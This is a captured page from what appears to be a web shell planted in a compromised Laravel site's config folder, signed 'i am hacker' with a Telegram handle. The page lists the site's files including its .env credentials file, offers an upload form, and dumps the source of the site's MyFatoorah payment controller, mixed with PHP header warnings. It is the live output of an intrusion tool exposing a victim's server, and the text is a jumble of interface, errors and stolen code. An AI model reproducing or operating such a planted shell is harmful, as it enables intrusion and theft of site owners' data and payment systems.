telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log14894822 KBJuly 18 2025 16:32:490644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
mfConfig = [ 'apiKey' => config('myfatoorah.api_key'), 'isTest' => config('myfatoorah.test_mode'), 'countryCode' => config('myfatoorah.country_iso'), ]; } //----------------------------------------------------------------------------------------------------------------------------------------- /** * Redirect to MyFatoorah Invoice URL * Provide the index method with the order id and (payment method id or session id) * * @return Response */ public function index() { try { //For example: pmid=0 for MyFatoorah invoice or pmid=1 for Knet in test mode $paymentId = request('pmid') ?: 0; $sessionId = request('sid') ?: null; $package_id = request('package_id'); $email = request('email'); $amount = request('amount'); $currency = request('currency'); $coupon_code = request('coupon_code'); $name = request('name'); $user_id = request('user_id'); $business_id = request('business_id'); $language = request('language'); $curlData = $this->getPayLoadData($package_id, $amount , $currency, $coupon_code, $email, $name, $user_id, $business_id, $language); $mfObj = new MyFatoorahPayment($this->mfConfig); $payment = $mfObj->getInvoiceURL($curlData, $paymentId, $package_id, $sessionId); return redirect($payment['invoiceURL']); } catch (Exception $ex) { $exMessage = __('myfatoorah.' . $ex->getMessage()); return response()->json(['IsSuccess' => 'false', 'Message' => $exMessage]); } } //----------------------------------------------------------------------------------------------------------------------------------------- /** * Example on how to map order data to MyFatoorah * You can get the data using the order object in your system * * @param int|string $orderId * * @return array */ private function getPayLoadData($package_id = null, $amount, $currency, $coupon_code, $email, $name, $user_id, $business_id, $language) { $callbackURL = route('myfatoorah_callback'); //You can get the data using the order object in your system $order = $this->getTestOrderData($package_id); return [ 'CustomerName' => $name, 'InvoiceValue' => $amount, 'DisplayCurrencyIso' => $currency, 'CustomerEmail' => $email, 'CallBackUrl' => $callbackURL, 'ErrorUrl' => $callbackURL, 'Language' => $language, 'CustomerReference' => $package_id, 'UserDefinedField' => json_encode(['business_id' => $business_id, 'coupon_code' => $coupon_code, 'user_id' => $user_id]), 'SourceInfo' => 'Laravel ' . app()::VERSION . ' - MyFatoorah Package ' . MYFATOORAH_LARAVEL_PACKAGE_VERSION ]; } //----------------------------------------------------------------------------------------------------------------------------------------- /** * Get MyFatoorah Payment Information * Provide the callback method with the paymentId * * @return Response */ public function callback() { try { $paymentId = request('paymentId'); $mfObj = new MyFatoorahPaymentStatus($this->mfConfig); $data = $mfObj->getPaymentStatus($paymentId, 'PaymentId'); return $data; } catch (Exception $ex) { $exMessage = __('myfatoorah.' . $ex->getMessage()); $response = ['success' => 'false', 'Message' => $exMessage]; } } //----------------------------------------------------------------------------------------------------------------------------------------- /** * Example on how to Display the enabled gateways at your MyFatoorah account to be displayed on the checkout page * Provide the checkout method with the order id to display its total amount and currency * * @return View */ public function checkout() { try { //You can get the data using the order object in your system $orderId = request('oid') ?: 147; $order = $this->getTestOrderData($orderId); //You can replace this variable with customer Id in your system $customerId = request('customerId'); //You can use the user defined field if you want to save card $userDefinedField = config('myfatoorah.save_card') && $customerId ? "CK-$customerId" : ''; //Get the enabled gateways at your MyFatoorah acount to be displayed on checkout page $mfObj = new MyFatoorahPaymentEmbedded($this->mfConfig); $paymentMethods = $mfObj->getCheckoutGateways($order['total'], $order['currency'], config('myfatoorah.register_apple_pay')); if (empty($paymentMethods['all'])) { throw new Exception('noPaymentGateways'); } //Generate MyFatoorah session for embedded payment $mfSession = $mfObj->getEmbeddedSession($userDefinedField); //Get Environment url $isTest = $this->mfConfig['isTest']; $vcCode = $this->mfConfig['countryCode']; $countries = MyFatoorah::getMFCountries(); $jsDomain = ($isTest) ? $countries[$vcCode]['testPortal'] : $countries[$vcCode]['portal']; return view('myfatoorah.checkout', compact('mfSession', 'paymentMethods', 'jsDomain', 'userDefinedField')); } catch (Exception $ex) { $exMessage = __('myfatoorah.' . $ex->getMessage()); return view('myfatoorah.error', compact('exMessage')); } } //----------------------------------------------------------------------------------------------------------------------------------------- /** * Example on how the webhook is working when MyFatoorah try to notify your system about any transaction status update */ public function webhook(Request $request) { try { //Validate webhook_secret_key $secretKey = config('myfatoorah.webhook_secret_key'); if (empty($secretKey)) { return response(null, 404); } //Validate MyFatoorah-Signature $mfSignature = $request->header('MyFatoorah-Signature'); if (empty($mfSignature)) { return response(null, 404); } //Validate input $body = $request->getContent(); $input = json_decode($body, true); if (empty($input['Data']) || empty($input['EventType']) || $input['EventType'] != 1) { return response(null, 404); } //Validate Signature if (!MyFatoorah::isSignatureValid($input['Data'], $secretKey, $mfSignature, $input['EventType'])) { return response(null, 404); } //Update Transaction status on your system $result = $this->changeTransactionStatus($input['Data']); return response()->json($result); } catch (Exception $ex) { $exMessage = __('myfatoorah.' . $ex->getMessage()); return response()->json(['IsSuccess' => false, 'Message' => $exMessage]); } } //----------------------------------------------------------------------------------------------------------------------------------------- private function changeTransactionStatus($inputData) { //1. Check if orderId is valid on your system. $orderId = $inputData['CustomerReference']; //2. Get MyFatoorah invoice id $invoiceId = $inputData['InvoiceId']; //3. Check order status at MyFatoorah side if ($inputData['TransactionStatus'] == 'SUCCESS') { $status = 'Paid'; $error = ''; } else { $mfObj = new MyFatoorahPaymentStatus($this->mfConfig); $data = $mfObj->getPaymentStatus($invoiceId, 'InvoiceId'); $status = $data->InvoiceStatus; $error = $data->InvoiceError; } $message = $this->getTestMessage($status, $error); //4. Update order transaction status on your system return ['IsSuccess' => true, 'Message' => $message, 'Data' => $inputData]; } //----------------------------------------------------------------------------------------------------------------------------------------- private function getTestOrderData($orderId) { return [ 'total' => 15, 'currency' => 'KWD' ]; } //----------------------------------------------------------------------------------------------------------------------------------------- private function getTestMessage($status, $error) { if ($status == 'Paid') { return 'Invoice is paid.'; } else if ($status == 'Failed') { return 'Invoice is not paid due to ' . $error; } else if ($status == 'Expired') { return $error; } } //----------------------------------------------------------------------------------------------------------------------------------------- }